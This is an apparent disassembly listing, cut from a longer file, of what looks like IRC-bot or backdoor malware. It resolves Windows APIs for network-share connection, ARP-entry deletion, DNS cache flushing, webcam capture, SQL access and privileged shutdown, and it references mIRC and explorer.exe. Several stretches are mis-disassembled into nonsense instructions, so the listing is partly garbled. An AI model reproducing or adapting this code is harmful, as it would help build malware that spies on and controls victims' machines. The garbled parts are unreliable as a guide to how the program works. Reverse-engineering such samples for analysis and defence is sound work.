		push	edi
		mov	ds:dword_431DF8, eax
		call	esi ; dword_41D0A8
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_431EE8, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431D90, ebx
		mov	ds:dword_431EA0, eax
		jz	short loc_4071EE
		cmp	ds:dword_431D68, ebx
		jz	short loc_4071EE
		cmp	ds:dword_431DDC, ebx
		jz	short loc_4071EE
		cmp	ds:dword_431E10, ebx
		jz	short loc_4071EE
		cmp	ds:dword_431F20, ebx
		jz	short loc_4071EE
		cmp	ds:dword_431DC8, ebx
		jz	short loc_4071EE
		cmp	ds:dword_431D74, ebx
		jz	short loc_4071EE
		cmp	ds:dword_431D64, ebx
		jz	short loc_4071EE
		cmp	ds:dword_431DF8, ebx
		jz	short loc_4071EE
		cmp	ds:dword_431EE8, ebx
		jz	short loc_4071EE
		cmp	eax, ebx
		jnz	short loc_4071F8
		jmp	short loc_4071EE
; ---------------------------------------------------------------------------


loc_4071E3:				; CODE XREF: sub_4067AD+94Bj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F8C, eax


loc_4071EE:				; CODE XREF: sub_4067AD+9E6j
					; sub_4067AD+9EEj ...
		mov	ds:dword_431F88, 1


loc_4071F8:				; CODE XREF: sub_4067AD+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40722D
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_431DB8, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431DB8, ebx
		mov	ds:dword_431E88, eax
		jz	short loc_407238
		cmp	eax, ebx
		jnz	short loc_407242
		jmp	short loc_407238
; ---------------------------------------------------------------------------


loc_40722D:				; CODE XREF: sub_4067AD+A56j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F94, eax


loc_407238:				; CODE XREF: sub_4067AD+A78j
					; sub_4067AD+A7Ej
		mov	ds:dword_431F90, 1


loc_407242:				; CODE XREF: sub_4067AD+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407277
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_431F0C, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431F0C, ebx
		mov	ds:dword_431F08, eax
		jz	short loc_407282
		cmp	eax, ebx
		jnz	short loc_40728C
		jmp	short loc_407282
; ---------------------------------------------------------------------------


loc_407277:				; CODE XREF: sub_4067AD+AA0j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431F9C, eax


loc_407282:				; CODE XREF: sub_4067AD+AC2j
					; sub_4067AD+AC8j
		mov	ds:dword_431F98, 1


loc_40728C:				; CODE XREF: sub_4067AD+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4072EB
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_431F38, eax
		call	esi ; dword_41D0A8
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_431F30, eax
		call	esi ; dword_41D0A8
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_431EF8, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431F38, ebx
		mov	ds:dword_431DD0, eax
		jz	short loc_4072F6
		cmp	ds:dword_431F30, ebx
		jz	short loc_4072F6
		cmp	ds:dword_431EF8, ebx
		jz	short loc_4072F6
		cmp	eax, ebx
		jnz	short loc_407300
		jmp	short loc_4072F6
; ---------------------------------------------------------------------------


loc_4072EB:				; CODE XREF: sub_4067AD+AEAj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431FA4, eax


loc_4072F6:				; CODE XREF: sub_4067AD+B26j
					; sub_4067AD+B2Ej ...
		mov	ds:dword_431FA0, 1


loc_407300:				; CODE XREF: sub_4067AD+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_407335
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_431E04, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431E04, ebx
		mov	ds:dword_431F04, eax
		jz	short loc_407340
		cmp	eax, ebx
		jnz	short loc_40734A
		jmp	short loc_407340
; ---------------------------------------------------------------------------


loc_407335:				; CODE XREF: sub_4067AD+B5Ej
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431FAC, eax


loc_407340:				; CODE XREF: sub_4067AD+B80j
					; sub_4067AD+B86j
		mov	ds:dword_431FA8, 1


loc_40734A:				; CODE XREF: sub_4067AD+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4073D3
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_431ECC, eax
		call	esi ; dword_41D0A8
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_431F18, eax
		call	esi ; dword_41D0A8
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_431E54, eax
		call	esi ; dword_41D0A8
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_431E14, eax
		call	esi ; dword_41D0A8
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_431EAC, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431ECC, ebx
		mov	ds:dword_431E20, eax
		jz	short loc_4073DE
		cmp	ds:dword_431F18, ebx
		jz	short loc_4073DE
		cmp	ds:dword_431E54, ebx
		jz	short loc_4073DE
		cmp	ds:dword_431E14, ebx
		jz	short loc_4073DE
		cmp	ds:dword_431EAC, ebx
		jz	short loc_4073DE
		cmp	eax, ebx
		jnz	short loc_4073E8
		jmp	short loc_4073DE
; ---------------------------------------------------------------------------


loc_4073D3:				; CODE XREF: sub_4067AD+BA8j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431FB4, eax


loc_4073DE:				; CODE XREF: sub_4067AD+BFEj
					; sub_4067AD+C06j ...
		mov	ds:dword_431FB0, 1


loc_4073E8:				; CODE XREF: sub_4067AD+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; dword_41D0A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40741D
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_431DE8, eax
		call	esi ; dword_41D0A8
		cmp	ds:dword_431DE8, ebx
		mov	ds:dword_431EC0, eax
		jz	short loc_407428
		cmp	eax, ebx
		jnz	short loc_407432
		jmp	short loc_407428
; ---------------------------------------------------------------------------


loc_40741D:				; CODE XREF: sub_4067AD+C46j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_431FBC, eax


loc_407428:				; CODE XREF: sub_4067AD+C68j
					; sub_4067AD+C6Ej
		mov	ds:dword_431FB8, 1


loc_407432:				; CODE XREF: sub_4067AD+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4067AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40743A	proc near		; CODE XREF: seg000:0040EA3Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_431F50, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_407482
		push	ds:dword_431F54
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_407482:				; CODE XREF: sub_40743A+1Aj
		cmp	ds:dword_431F58, esi
		jz	short loc_4074B6
		push	ds:dword_431F5C
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_4074B6:				; CODE XREF: sub_40743A+4Ej
		cmp	ds:dword_431F60, esi
		jz	short loc_4074EA
		push	ds:dword_431F64
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_4074EA:				; CODE XREF: sub_40743A+82j
		cmp	ds:dword_431F68, esi
		jz	short loc_40751E
		push	ds:dword_431F6C
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_40751E:				; CODE XREF: sub_40743A+B6j
		cmp	ds:dword_431F70, esi
		jz	short loc_407552
		push	ds:dword_431F74
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_407552:				; CODE XREF: sub_40743A+EAj
		cmp	ds:dword_431F78, esi
		jz	short loc_407586
		push	ds:dword_431F7C
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_407586:				; CODE XREF: sub_40743A+11Ej
		cmp	ds:dword_431F80, esi
		jz	short loc_4075BA
		push	ds:dword_431F84
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_4075BA:				; CODE XREF: sub_40743A+152j
		cmp	ds:dword_431F88, esi
		jz	short loc_4075EE
		push	ds:dword_431F8C
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_4075EE:				; CODE XREF: sub_40743A+186j
		cmp	ds:dword_431F90, esi
		jz	short loc_407622
		push	ds:dword_431F94
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_407622:				; CODE XREF: sub_40743A+1BAj
		cmp	ds:dword_431F98, esi
		jz	short loc_407656
		push	ds:dword_431F9C
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_407656:				; CODE XREF: sub_40743A+1EEj
		cmp	ds:dword_431FA0, esi
		jz	short loc_40768A
		push	ds:dword_431FA4
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_40768A:				; CODE XREF: sub_40743A+222j
		cmp	ds:dword_431FA8, esi
		jz	short loc_4076BE
		push	ds:dword_431FAC
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_4076BE:				; CODE XREF: sub_40743A+256j
		cmp	ds:dword_431FB0, esi
		jz	short loc_4076F2
		push	ds:dword_431FB4
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_4076F2:				; CODE XREF: sub_40743A+28Aj
		cmp	ds:dword_431FB8, esi
		jz	short loc_407726
		push	ds:dword_431FBC
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 20h


loc_407726:				; CODE XREF: sub_40743A+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_42209C
		push	eax
		call	sub_411963
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_407753
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_407753:				; CODE XREF: sub_40743A+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408CFE
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40743A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407765	proc near		; CODE XREF: seg000:0040AB17p
					; seg000:0040AB4Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4077F0
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4077F0
		cmp	[ebp+arg_8], esi
		jz	short loc_4077F0
		cmp	byte ptr [eax],	0
		jz	short loc_4077F0
		push	ebx
		push	edi
		call	sub_41C0B9
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4077EB
		push	[ebp+arg_4]
		push	edi
		call	sub_411F30
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4077E4
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_413150
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_411FB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_413320
		push	[ebp+arg_4]
		call	sub_411FB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_412FD0
		push	ebx
		push	edi
		call	sub_412FC0
		add	esp, 30h
		mov	esi, edi


loc_4077E4:				; CODE XREF: sub_407765+3Cj
		push	ebx
		call	sub_4120D3
		pop	ecx


loc_4077EB:				; CODE XREF: sub_407765+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4077F2
; ---------------------------------------------------------------------------


loc_4077F0:				; CODE XREF: sub_407765+Cj
					; sub_407765+13j ...
		xor	eax, eax


loc_4077F2:				; CODE XREF: sub_407765+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_407765	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077F6	proc near		; CODE XREF: sub_40A018+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_4119E0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_411FB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40782C
		or	eax, 0FFFFFFFFh
		jmp	short loc_40789F
; ---------------------------------------------------------------------------


loc_40782C:				; CODE XREF: sub_4077F6+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40784E


loc_407838:				; CODE XREF: sub_4077F6+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_407845
		cmp	dl, 0Dh
		jnz	short loc_407849


loc_407845:				; CODE XREF: sub_4077F6+48j
		and	byte ptr [ecx+esi], 0


loc_407849:				; CODE XREF: sub_4077F6+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_407838


loc_40784E:				; CODE XREF: sub_4077F6+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40787F
		lea	edi, [ebp+var_7CC]


loc_40785B:				; CODE XREF: sub_4077F6+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40787A
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40787A
		cmp	ebx, 1F4h
		jge	short loc_40787F
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40787A:				; CODE XREF: sub_4077F6+69j
					; sub_4077F6+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40785B


loc_40787F:				; CODE XREF: sub_4077F6+5Dj
					; sub_4077F6+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40789D
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_411A40
		add	esp, 0Ch


loc_40789D:				; CODE XREF: sub_4077F6+8Ej
		mov	eax, ebx


loc_40789F:				; CODE XREF: sub_4077F6+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4077F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4078A3	proc near		; CODE XREF: sub_4078FD+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4078DC
		push	ebx
		mov	ebx, edi


loc_4078C0:				; CODE XREF: sub_4078A3+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4078DF
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_4078C0
		pop	ebx


loc_4078DC:				; CODE XREF: sub_4078A3+18j
		pop	edi
		pop	esi
		retn
sub_4078A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4078DF	proc near		; CODE XREF: sub_4078A3+25p
					; sub_4078FD+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_413477
		cmp	al, 61h
		pop	ecx
		jl	short loc_4078FA
		cmp	al, 7Ah
		jg	short loc_4078FA
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4078FA:				; CODE XREF: sub_4078DF+Ej
					; sub_4078DF+12j
		xor	eax, eax
		retn
sub_4078DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078FD	proc near		; CODE XREF: sub_408DDE+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_412030
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_411FB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_411FB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4078A3
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40793B:				; CODE XREF: sub_4078FD+B6j
		test	esi, esi
		jle	short loc_4079B9
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_413477
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_413477
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4079B1


loc_407961:				; CODE XREF: sub_4078FD+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4078DF
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_407982
		mov	eax, ecx


loc_407982:				; CODE XREF: sub_4078FD+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_4079B5
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_413477
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_413477
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_407961


loc_4079B1:				; CODE XREF: sub_4078FD+62j
		dec	edi
		dec	esi
		jmp	short loc_40793B
; ---------------------------------------------------------------------------


loc_4079B5:				; CODE XREF: sub_4078FD+8Aj
		xor	eax, eax
		jmp	short loc_4079BE
; ---------------------------------------------------------------------------


loc_4079B9:				; CODE XREF: sub_4078FD+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_4079BE:				; CODE XREF: sub_4078FD+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4078FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079C3	proc near		; CODE XREF: seg000:0040D5D2p
					; seg000:0040DF89p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0A70000h
		push	ebp
		lea	eax, [ebp+var_100]


loc_4079FC:				; CODE XREF: sub_4079C3+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_407A08
		cmp	cl, 9
		jnz	short loc_407A0B


loc_407A08:				; CODE XREF: sub_4079C3+3Ej
		inc	eax
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_407A0B:				; CODE XREF: sub_4079C3+43j
					; sub_4079C3+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_407A25
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_407A0B
		cmp	cl, 21h
		jl	short loc_407A0B


loc_407A25:				; CODE XREF: sub_4079C3+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_431FC0
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_411EDA
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4079C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A4D	proc near		; CODE XREF: seg000:0040E9CBp
		push	esi
		push	0
		call	ds:dword_431E60
		test	eax, eax
		jz	short loc_407A84
		push	1
		call	ds:dword_431E80
		mov	esi, eax
		test	esi, esi
		jz	short loc_407A84
		push	edi
		push	esi
		call	ds:dword_41D0B8	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_41D0B4	; GlobalUnlock
		call	ds:dword_431EE4
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_407A84:				; CODE XREF: sub_407A4D+Bj
					; sub_407A4D+19j
		xor	eax, eax
		pop	esi
		retn
sub_407A4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A88	proc near		; CODE XREF: seg000:0040DF38p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_431E9C
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_407B04
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 0A70000h
		mov	ecx, 0F88B5656h
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 0A70000h
		in	al, dx
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_411963
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_431EEC
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_431EEC
		push	ebx
		call	near ptr 0A70000h
		mov	al, ds:6815FF57h
		rol	byte ptr [ecx+0], 1
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_407B06
; ---------------------------------------------------------------------------


loc_407B04:				; CODE XREF: sub_407A88+16j
		xor	eax, eax


loc_407B06:				; CODE XREF: sub_407A88+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_407A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B0A	proc near		; CODE XREF: seg000:00409BD9p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_431F4C
		test	eax, eax
		jz	short near ptr loc_407BA8+1
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_41D070
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi ; dword_41D070
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short near ptr loc_407BA8+1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 0A70000h
		cmp	dl, [ebx-75h]
		sbb	eax, offset dword_41D068
		call	ebx	; send
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; dword_41D070
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short near ptr loc_407BA8+1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 0A70000h
		not	dword ptr [esi-1]


loc_407BA8:				; CODE XREF: sub_407B0A+2Aj
					; sub_407B0A+51j ...
		rcr	dword ptr [edi+5Eh], cl
		pop	ebx
		leave
		retn
sub_407B0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_407BAE	proc near		; CODE XREF: seg000:0040B219p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_410481
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_431DD8
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_407BAE	endp

; ---------------------------------------------------------------------------


loc_407BD0:				; CODE XREF: sub_40902A+472p
					; seg000:0040EC3Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_424378, esi
		push	edi
		jz	short loc_407BF4
		cmp	ds:dword_431F60, esi
		jnz	short loc_407BF4
		push	esi
		call	sub_408F0D
		pop	ecx


loc_407BF4:				; CODE XREF: seg000:00407BE3j
					; seg000:00407BEBj
		call	sub_4115D8
		lea	eax, [ebp-764h]
		push	eax
		push	400h
